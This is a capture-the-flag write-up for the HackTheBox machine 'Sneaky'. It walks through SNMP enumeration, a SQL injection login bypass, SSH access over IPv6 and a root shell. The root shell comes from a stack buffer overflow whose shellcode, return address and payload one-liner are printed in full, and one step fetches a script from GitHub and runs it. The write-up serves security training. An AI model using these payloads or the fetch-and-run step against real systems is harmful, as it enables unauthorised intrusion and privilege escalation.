Sneaky - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Sneaky is a medium-difficulty Linux machine that emphasizes deep enumeration and network reconnaissance. The challenge begins with identifying a hidden SNMP service and extracting sensitive information via default community strings. A basic SQL injection vulnerability exposes SSH credentials, but the twist comes when SSH is initially unreachable on IPv4—requiring SNMP enumeration to discover an IPv6 interface where SSH is listening. The privilege escalation leverages a non-standard SUID binary vulnerable to a classic stack-based buffer overflow. While not requiring many exploitation steps, the machine teaches valuable lessons in unconventional service discovery and low-level exploitation techniques.

TL;DR: SNMP enumeration → Extract IPv6 address → SQL injection on web app → SSH access via IPv6 → Buffer overflow in SUID binary → Root shell.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.20

Results:

The initial Nmap scan reveals only two open services:

• Port 80/TCP - Apache HTTP Server
• Port 161/UDP - SNMP (Simple Network Management Protocol)

SSH (port 22) does not appear to be open on IPv4, which becomes a key clue for later exploitation.

Service Enumeration

Web Server (Port 80)

Fuzzing the Apache server with directory enumeration tools reveals a hidden /dev directory containing a login page. This appears to be a development interface.

SNMP Service (Port 161/UDP)

SNMP is running with the default community string “public”—a common misconfiguration that exposes critical system information.

Vulnerability Assessment

1. SNMP Information Disclosure - Default community string allows unauthenticated enumeration
2. SQL Injection - The login page on /dev is vulnerable to basic SQL injection
3. IPv6 Exposure - SNMP reveals an active IPv6 address not visible in standard IPv4 scanning
4. SUID Buffer Overflow - A non-standard binary at /usr/local/bin/chal is vulnerable to stack-based buffer overflow

Initial Foothold

Exploitation Path

Step 1: SQL Injection on Web Application

Navigate to the /dev directory discovered during enumeration and locate the login form.

# Access the vulnerable login page
curl http://10.10.10.20/dev/

The login form is vulnerable to basic SQL injection. Bypass authentication by injecting:

Username: admin
Password: ' or 1=1;--

This returns valid credentials including:

• Username: thrasivoulos
• SSH Private Key: (exposed in the response)

Step 2: SNMP Enumeration for IPv6 Discovery

Since SSH on port 22 is not accessible via IPv4, we use SNMP to discover additional network interfaces. First, install MIB support:

apt-get install snmp-mibs-downloader

Comment out the mibs : line in /etc/snmp/snmp.conf to enable MIB parsing:

# Edit /etc/snmp/snmp.conf
nano /etc/snmp/snmp.conf
# Comment out: mibs :

Enumerate SNMP with readable names:

snmpwalk -Os -c public -v1 10.10.10.20

This reveals system information, including that the contact is “root” and the hostname is “sneaky”.

Step 3: Extract IPv6 Address via SNMP

Query specifically for IPv6 address information:

snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6

Output reveals:

IP-MIB::ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01"
IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:94:5f:f8"
IP-MIB::ipAddressIfIndex.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:94:5f:f8"

The relevant address (excluding loopback and link-local) is:

dead:beef:0000:0000:0250:56ff:fe94:5ff8

Step 4: Verify SSH on IPv6

Confirm SSH is listening on the discovered IPv6 address:

nmap -p 22 -6 dead:beef:0000:0000:0250:56ff:fe94:5ff8

SSH port 22 is now confirmed open on IPv6.

Step 5: SSH Access via IPv6

Save the extracted SSH private key and set appropriate permissions:

cat > id_rsa << 'EOF'
[PRIVATE KEY CONTENT]
EOF

chmod 600 id_rsa

Modern OpenSSH versions (v8.8+) disable ssh-rsa signatures by default. Use the following command with legacy algorithm support:

ssh -i id_rsa \
    -o PubkeyAcceptedAlgorithms=+ssh-rsa \
    -o HostkeyAlgorithms=+ssh-rsa \
    thrasivoulos@dead:beef:0000:0000:0250:56ff:fe94:5ff8

Success!

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)

thrasivoulos@sneaky:~$ id
uid=1000(thrasivoulos) gid=1000(thrasivoulos)
groups=1000(thrasivoulos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

User flag is located at /home/thrasivoulos/user.txt.

Privilege Escalation

Buffer Overflow in SUID Binary

Step 1: Identify the Vulnerable Binary

Run LinEnum to identify non-standard SUID binaries:

# Download and execute LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
bash LinEnum.sh

LinEnum identifies a SUID binary at /usr/local/bin/chal owned by root.

Step 2: Test for Buffer Overflow Vulnerability

Execute the binary with a large argument to trigger a crash:

/usr/local/bin/chal $(python -c "print 'A' * 500")
# Segmentation fault (core dumped)

This confirms a stack-based buffer overflow vulnerability.

Step 3: Determine EIP Offset

Use GDB with a cyclic pattern to identify the exact offset where EIP is overwritten:

gdb /usr/local/bin/chal
(gdb) run $(python -c "print 'A'*362 + 'BBBB'")
# Note the instruction pointer value when it crashes

The EIP offset is 362 bytes.

Step 4: Locate Buffer Address

Examine the stack during execution to identify a suitable return address:

(gdb) x/100x $esp
# Identify buffer location around 0xbffff760
# Use return address 0xbffff7b0 to account for runtime shifts

Step 5: Craft the Exploit Payload

Use a 28-byte /bin/sh shellcode with a NOP sled:

python3 << 'EXPLOIT'
# NOP sled (334 bytes)
nop_sled = b'\x90' * 334

# /bin/sh shellcode (28 bytes)
shellcode = (
    b'\x31\xc0'                              # xor eax, eax
    b'\x50'                                  # push eax
    b'\x68\x2f\x2f\x73\x68'                  # push "//sh"
    b'\x68\x2f\x62\x69\x6e'                  # push "/bin"
    b'\x89\xe3'                              # mov ebx, esp
    b'\x89\xc1'                              # mov ecx, eax
    b'\x89\xc2'                              # mov edx, eax
    b'\xb0\x0b'                              # mov al, 0x0b
    b'\xcd\x80'                              # int 0x80
    b'\x31\xc0'                              # xor eax, eax
    b'\x40'                                  # inc eax
    b'\xcd\x80'                              # int 0x80
)

# Return address (little-endian): 0xbffff7b0
return_addr = b'\xb0\xf7\xff\xbf'

# Construct full payload
payload = nop_sled + shellcode + return_addr

import sys
sys.stdout.buffer.write(payload)
EXPLOIT

Step 6: Execute the Exploit

/usr/local/bin/chal $(python -c "print '\x90'*334 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\xb0\xf7\xff\xbf'")

Result:

root@sneaky:~# id
uid=0(root) gid=1000(thrasivoulos)
groups=1000(thrasivoulos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare)

Root flag is located at /root/root.txt.

Attack Chain Summary

Port Scanning
    ↓
Identify SNMP + Web Service
    ↓
SNMP Enumeration (MIB parsing)
    ↓
Discover IPv6 Address: dead:beef::250:56ff:fe94:5ff8
    ↓
SQL Injection on /dev login
    ↓
Extract SSH credentials
    ↓
SSH Access via IPv6
    ↓
User flag obtained
    ↓
Enumerate SUID binaries with LinEnum
    ↓
Test /usr/local/bin/chal for buffer overflow
    ↓
Calculate EIP offset (362 bytes)
    ↓
Craft NOP sled + shellcode + return address payload
    ↓
Execute exploit
    ↓
Root shell spawned
    ↓
Root flag obtained

Tools Used

Key Learnings

Techniques Practiced

• SNMP Enumeration: Extracting system information via default community strings and MIB traversal
• IPv6 Network Discovery: Identifying dual-stack systems where IPv6 services differ from IPv4
• SQL Injection: Basic authentication bypass using comment injection (' or 1=1;--)
• SSH Legacy Support: Configuring OpenSSH clients to accept deprecated RSA signatures
• Buffer Overflow Exploitation: Classic stack-based overflow with NOP sled and shellcode injection
• SUID Binary Analysis: Identifying and exploiting privilege escalation vectors in setuid binaries
• GDB Debugging: Using debuggers to analyze crash dumps and calculate exploit offsets

Lessons Learned

1. Enumeration is paramount — SNMP is often overlooked but can reveal critical network topology information not visible through standard port scanning.

2. Dual-stack networks are common — Always consider both IPv4 and IPv6 when reconnaissance reveals a system; services may be bound to different protocols.

3. Default credentials and strings are dangerous — SNMP’s “public” community string is a classic misconfiguration that remains prevalent in real-world systems.

4. Web application security — Even simple input validation failures (SQL injection) can expose sensitive information like private keys.

5. Legacy protocol support matters — Modern security practices (disabling weak algorithms) can be a double-edged sword; attackers must understand both old and new authentication mechanisms.

6. Stack layout varies at runtime — NOP sleds provide buffer space to account for ASLR and other runtime variations; understanding memory layout is crucial for reliable exploits.

7. SUID binaries are high-value targets — Non-standard binaries in system paths often lack the scrutiny of standard utilities and are common privilege escalation vectors.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>